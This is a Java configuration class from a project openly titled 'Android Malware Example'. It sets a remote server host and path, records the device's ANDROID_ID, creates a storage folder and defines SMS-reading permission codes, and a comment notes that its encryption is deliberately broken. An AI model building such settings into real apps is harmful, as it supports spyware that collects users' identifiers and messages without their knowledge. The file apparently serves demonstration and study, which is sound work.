/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;


import android.content.Context;
import android.os.Environment;
import android.provider.Settings.Secure;

import java.io.File;

/**
 * Created by darrylb on 10/2/16.
 */
public class ConfigParams {
    String PROGID = "BGMonitor";
    String HOST = "www.burke-consulting.net";
    String EncInitString ="TEMPONLYUNTILFIRSTREQUEST";
    String LocalEncryptionKey ="";
    //Note not 16bit so encryption will not work . this is intentional
    String RemoteEncryptionKey = "";
    String UniqueID = "";
    String HTTPprotocol="https://";
    String BGMonitorBase="/BGM/";;
    Boolean Logging = true;
    Boolean Debug = true;
    Boolean Cleanup =false;
    Boolean SSLStrict = true;
    Boolean DisplayNotification = true;
    Boolean SelfSigned = false;
    public File StoragePath;
    static final int PERMISSIONS_REQUEST_READ_SMS = 99901;
    static final int PERMISSIONS_REQUEST_ALL = 99900;

    public ConfigParams(Context context) {
        UniqueID= Secure.getString(context.getContentResolver(),Secure.ANDROID_ID);
        StoragePath = Environment.getExternalStorageDirectory();
        LocalEncryptionKey = EncInitString;
        File _storagepath = new File(Environment.getExternalStorageDirectory().getAbsolutePath()+"/BGM");
        StoragePath = _storagepath;
        try {
            _storagepath.mkdirs();
        } catch ( Exception ex){

        }
    }
    public void SetEncKey(String key){
        if (LocalEncryptionKey == EncInitString){
            LocalEncryptionKey = key;
        }
        RemoteEncryptionKey = key;
    }



}
